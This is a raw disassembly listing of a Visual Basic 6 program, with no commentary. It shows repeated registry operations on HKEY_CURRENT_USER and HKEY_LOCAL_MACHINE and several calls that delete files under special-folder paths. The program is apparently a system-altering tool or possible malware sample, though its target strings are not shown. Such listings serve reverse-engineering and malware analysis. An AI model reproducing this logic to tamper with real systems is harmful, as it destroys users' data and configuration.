call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x28
cmp dword [0x575db0], 0
jne 0x556994
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1ec], 0x575db0
jmp 0x55699e
mov dword [ebp - 0x1ec], 0x575db0
mov eax, dword [ebp - 0x1ec]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x415b40
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5569fc
push 0x20
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1f0], eax
jmp 0x556a06
mov dword [ebp - 0x1f0], 0
mov dword [ebp - 4], 0x29
cmp dword [0x575db0], 0
jne 0x556a32
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1f4], 0x575db0
jmp 0x556a3c
mov dword [ebp - 0x1f4], 0x575db0
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cd5c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556a9a
push 0x20
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x1f8], eax
jmp 0x556aa4
mov dword [ebp - 0x1f8], 0
mov dword [ebp - 4], 0x2a
cmp dword [0x575db0], 0
jne 0x556ad0
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x1fc], 0x575db0
jmp 0x556ada
mov dword [ebp - 0x1fc], 0x575db0
mov edx, dword [ebp - 0x1fc]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 1
push 0x41ce60
push 0x41cddc
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x34]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556b3f
push 0x34
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x200], eax
jmp 0x556b49
mov dword [ebp - 0x200], 0
mov dword [ebp - 4], 0x2b
cmp dword [0x575db0], 0
jne 0x556b75
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x204], 0x575db0
jmp 0x556b7f
mov dword [ebp - 0x204], 0x575db0
mov eax, dword [ebp - 0x204]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
mov edx, 0x41ce84
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bd0c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bc9c
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556c1a
push 0x2c
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x208], eax
jmp 0x556c24
mov dword [ebp - 0x208], 0
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x10
mov dword [ebp - 4], 0x2c
cmp dword [0x575db0], 0
jne 0x556c67
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x20c], 0x575db0
jmp 0x556c71
mov dword [ebp - 0x20c], 0x575db0
mov edx, dword [ebp - 0x20c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
call fcn.0053f7f0
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41cea4
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x40]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov edx, 0x41c8f0
lea ecx, [ebp - 0x3c]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov edx, 0x41bc9c
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVBVM60.DLL___vbaStrCopy]
mov dword [ebp - 0xb4], 0x80000002
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0xb4]
push ecx
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x2c]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556d25
push 0x2c
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x210], eax
jmp 0x556d2f
mov dword [ebp - 0x210], 0
lea ecx, [ebp - 0x40]
push ecx
lea edx, [ebp - 0x3c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x34]
push ecx
push 4
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStrList]
add esp, 0x14
mov dword [ebp - 4], 0x2d
cmp dword [0x575db0], 0
jne 0x556d76
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x214], 0x575db0
jmp 0x556d80
mov dword [ebp - 0x214], 0x575db0
mov edx, dword [ebp - 0x214]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41cec4
push 0x41ca0c
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556de3
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x218], eax
jmp 0x556ded
mov dword [ebp - 0x218], 0
mov dword [ebp - 4], 0x2e
cmp dword [0x575db0], 0
jne 0x556e19
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x21c], 0x575db0
jmp 0x556e23
mov dword [ebp - 0x21c], 0x575db0
mov eax, dword [ebp - 0x21c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41ced8
push 0x41ca0c
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556e86
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x220], eax
jmp 0x556e90
mov dword [ebp - 0x220], 0
mov dword [ebp - 4], 0x2f
cmp dword [0x575db0], 0
jne 0x556ebc
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x224], 0x575db0
jmp 0x556ec6
mov dword [ebp - 0x224], 0x575db0
mov ecx, dword [ebp - 0x224]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41ceec
mov eax, dword [0x575548]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41ca0c
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x556f41
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x228], eax
jmp 0x556f4b
mov dword [ebp - 0x228], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x30
cmp dword [0x575db0], 0
jne 0x556f80
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x22c], 0x575db0
jmp 0x556f8a
mov dword [ebp - 0x22c], 0x575db0
mov eax, dword [ebp - 0x22c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41cf00
mov edx, dword [0x575548]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41ca0c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557006
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x230], eax
jmp 0x557010
mov dword [ebp - 0x230], 0
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
mov dword [ebp - 4], 0x31
cmp dword [0x575db0], 0
jne 0x557045
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x234], 0x575db0
jmp 0x55704f
mov dword [ebp - 0x234], 0x575db0
mov edx, dword [ebp - 0x234]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41cf10
push 0x41ca0c
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5570b2
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x238], eax
jmp 0x5570bc
mov dword [ebp - 0x238], 0
mov dword [ebp - 4], 0x32
cmp dword [0x575db0], 0
jne 0x5570e8
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x23c], 0x575db0
jmp 0x5570f2
mov dword [ebp - 0x23c], 0x575db0
mov eax, dword [ebp - 0x23c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41cf38
push 0x41ca0c
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557155
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x240], eax
jmp 0x55715f
mov dword [ebp - 0x240], 0
mov dword [ebp - 4], 0x33
cmp dword [0x575db0], 0
jne 0x55718b
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x244], 0x575db0
jmp 0x557195
mov dword [ebp - 0x244], 0x575db0
mov ecx, dword [ebp - 0x244]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cf50
push 0x41ca0c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5571f8
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x248], eax
jmp 0x557202
mov dword [ebp - 0x248], 0
mov dword [ebp - 4], 0x34
cmp dword [0x575db0], 0
jne 0x55722e
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x24c], 0x575db0
jmp 0x557238
mov dword [ebp - 0x24c], 0x575db0
mov edx, dword [ebp - 0x24c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41cf6c
push 0x41ca0c
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55729b
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x250], eax
jmp 0x5572a5
mov dword [ebp - 0x250], 0
mov dword [ebp - 4], 0x35
cmp dword [0x575db0], 0
jne 0x5572d1
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x254], 0x575db0
jmp 0x5572db
mov dword [ebp - 0x254], 0x575db0
mov eax, dword [ebp - 0x254]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41cfb0
push 0x41cf84
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55733e
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x258], eax
jmp 0x557348
mov dword [ebp - 0x258], 0
mov dword [ebp - 4], 0x36
cmp dword [0x575db0], 0
jne 0x557374
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x25c], 0x575db0
jmp 0x55737e
mov dword [ebp - 0x25c], 0x575db0
mov ecx, dword [ebp - 0x25c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cfc4
push 0x41cf84
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5573e1
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x260], eax
jmp 0x5573eb
mov dword [ebp - 0x260], 0
mov dword [ebp - 4], 0x37
cmp dword [0x575db0], 0
jne 0x557417
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x264], 0x575db0
jmp 0x557421
mov dword [ebp - 0x264], 0x575db0
mov edx, dword [ebp - 0x264]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41cfb0
push 0x41cfdc
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557484
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x268], eax
jmp 0x55748e
mov dword [ebp - 0x268], 0
mov dword [ebp - 4], 0x38
cmp dword [0x575db0], 0
jne 0x5574ba
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x26c], 0x575db0
jmp 0x5574c4
mov dword [ebp - 0x26c], 0x575db0
mov eax, dword [ebp - 0x26c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41d050
push 0x41cfdc
push 0x80000001
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557527
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x270], eax
jmp 0x557531
mov dword [ebp - 0x270], 0
mov dword [ebp - 4], 0x39
mov dword [ebp - 0xb4], 0x27
lea ecx, [ebp - 0xb4]
push ecx
call fcn.00543c30
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41d064
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3a
mov dword [ebp - 0xb4], 0x1c
lea eax, [ebp - 0xb4]
push eax
call fcn.00543c30
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41d084
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea ecx, [ebp - 0x50]
push ecx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3b
mov dword [ebp - 0xb4], 7
lea edx, [ebp - 0xb4]
push edx
call fcn.00543c30
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41d0a4
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea eax, [ebp - 0x50]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3c
mov dword [ebp - 0xb4], 0x1a
lea ecx, [ebp - 0xb4]
push ecx
call fcn.00543c30
mov edx, eax
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
push eax
push 0x41d0c0
call dword [sym.imp.MSVBVM60.DLL___vbaStrCat]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x50], 8
lea edx, [ebp - 0x50]
push edx
call dword [sym.imp.MSVBVM60.DLL_rtcKillFiles]
lea ecx, [ebp - 0x34]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea ecx, [ebp - 0x50]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 4], 0x3d
cmp dword [0x575db0], 0
jne 0x5576c5
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x274], 0x575db0
jmp 0x5576cf
mov dword [ebp - 0x274], 0x575db0
mov eax, dword [ebp - 0x274]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41d0dc
push 0x41c5c8
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557732
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x278], eax
jmp 0x55773c
mov dword [ebp - 0x278], 0
mov dword [ebp - 4], 0x3e
cmp dword [0x575db0], 0
jne 0x557768
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x27c], 0x575db0
jmp 0x557772
mov dword [ebp - 0x27c], 0x575db0
mov ecx, dword [ebp - 0x27c]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41d0f4
push 0x41c5c8
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5577d5
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x280], eax
jmp 0x5577df
mov dword [ebp - 0x280], 0
mov dword [ebp - 4], 0x3f
cmp dword [0x575db0], 0
jne 0x55780b
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x284], 0x575db0
jmp 0x557815
mov dword [ebp - 0x284], 0x575db0
mov edx, dword [ebp - 0x284]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41d10c
push 0x41c5c8
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557878
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x288], eax
jmp 0x557882
mov dword [ebp - 0x288], 0
mov dword [ebp - 4], 0x40
cmp dword [0x575db0], 0
jne 0x5578ae
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x28c], 0x575db0
jmp 0x5578b8
mov dword [ebp - 0x28c], 0x575db0
mov eax, dword [ebp - 0x28c]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41d124
push 0x41c5c8
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x55791b
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x290], eax
jmp 0x557925
mov dword [ebp - 0x290], 0
mov dword [ebp - 4], 0x41
cmp dword [0x575db0], 0
jne 0x557951
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x294], 0x575db0
jmp 0x55795b
mov dword [ebp - 0x294], 0x575db0
mov ecx, dword [ebp - 0x294]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41d148
push 0x41c5c8
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x5579be
push 0x24
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x298], eax
jmp 0x5579c8
mov dword [ebp - 0x298], 0
mov dword [ebp - 4], 0x42
cmp dword [0x575db0], 0
jne 0x5579f4
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x29c], 0x575db0
jmp 0x5579fe
mov dword [ebp - 0x29c], 0x575db0
mov edx, dword [ebp - 0x29c]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41d1b8
push 0x41d160
push 0x80000001
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557a61
push 0x24
push 0x41bc18
mov ecx, dword [ebp - 0xb8]
push ecx
mov edx, dword [ebp - 0xbc]
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a0], eax
jmp 0x557a6b
mov dword [ebp - 0x2a0], 0
mov dword [ebp - 4], 0x43
cmp dword [0x575db0], 0
jne 0x557a97
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2a4], 0x575db0
jmp 0x557aa1
mov dword [ebp - 0x2a4], 0x575db0
mov eax, dword [ebp - 0x2a4]
mov ecx, dword [eax]
mov dword [ebp - 0xb8], ecx
push 0x41d2b0
push 0x41d234
push 0x80000002
mov edx, dword [ebp - 0xb8]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xb8]
push ecx
call dword [eax + 0x24]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557b04
push 0x24
push 0x41bc18
mov edx, dword [ebp - 0xb8]
push edx
mov eax, dword [ebp - 0xbc]
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2a8], eax
jmp 0x557b0e
mov dword [ebp - 0x2a8], 0
mov dword [ebp - 4], 0x44
cmp dword [0x575db0], 0
jne 0x557b3a
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2ac], 0x575db0
jmp 0x557b44
mov dword [ebp - 0x2ac], 0x575db0
mov ecx, dword [ebp - 0x2ac]
mov edx, dword [ecx]
mov dword [ebp - 0xb8], edx
push 0x41cb9c
push 0x80000002
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0xb8]
push edx
call dword [ecx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
cmp dword [ebp - 0xbc], 0
jge 0x557ba2
push 0x20
push 0x41bc18
mov eax, dword [ebp - 0xb8]
push eax
mov ecx, dword [ebp - 0xbc]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaHresultCheckObj]
mov dword [ebp - 0x2b0], eax
jmp 0x557bac
mov dword [ebp - 0x2b0], 0
mov dword [ebp - 4], 0x45
cmp dword [0x575db0], 0
jne 0x557bd8
push 0x575db0
push 0x4063c8
call dword [sym.imp.MSVBVM60.DLL___vbaNew2]
mov dword [ebp - 0x2b4], 0x575db0
jmp 0x557be2
mov dword [ebp - 0x2b4], 0x575db0
mov edx, dword [ebp - 0x2b4]
mov eax, dword [edx]
mov dword [ebp - 0xb8], eax
push 0x41d2c8
push 0x80000002
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xb8]
push eax
call dword [edx + 0x20]
fnclex
mov dword [ebp - 0xbc], eax
